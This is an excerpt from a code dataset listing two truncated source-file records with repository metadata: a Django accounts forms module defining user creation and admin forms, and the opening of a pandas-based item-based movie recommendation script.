10e78e45543f83aebb130d335505cc3f7e5335f8 | 35656324f2c2b3f7713c8ee8ca3af73521319f1b | /accounts/forms.py | dd56ac72690d3aa5fb1b56f41abbca89ed4623f5 | [
"CC0-1.0"
] | permissive | jorgegomesen/djangosecommerce | 15beb3c7f4276cd3250c393b7c3c470cfe6dc0af | 22541d24af52cd6f2d51196116a101583389b945 | refs/heads/main | 2023-05-30T06:09:23.608322 | 2021-06-14T08:37:06 | 2021-06-14T08:37:06 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 380 | py | from django.contrib.auth.forms import UserCreationForm
from .models import User
from django import forms
class UserAdminCreationForm(UserCreationForm):
class Meta:
model = User
fields = ['username','name','email']
class UserAdminForm(forms.ModelForm):
class Meta:
model = User
f... | [
"edwildson@hotmail.com"
] | edwildson@hotmail.com |
1a9f46bb191c3c5bf65c5735eef1d693c64b3685 | 8b2f0e2d3dae3cdba29caa4bc28f3482b138a42c | /MovieRecommendationSystem.py | 5a2ac991186ed1a8256ef2ff650b32ac830d0c7b | [] | no_license | MichaelRinglein/MachineLearning | 57d49b756c147b3c2673df49f4ba110b0ba33449 | a2970e64f18143dd65eff198bc87a0c2f4745f6b | refs/heads/master | 2020-03-28T12:30:38.665222 | 2018-09-22T14:09:58 | 2018-09-22T14:09:58 | 148,305,241 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 2,329 | py | # Movie recommendation system
# Item based collaborative filtering
import pandas as pd
import numpy as np
# Sorting the data
r_cols = ['user_id', 'movie_id', 'rating']
ratings = pd.read_csv('ratings.data', sep='\t', names=r_cols, usecols=range(3), encoding="ISO-8859-1")
m_cols = ['movie_id', 'title']
movies = pd.read... | [
"michaelringlein@gmail.com"
] | michaelringlein@gmail.com |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.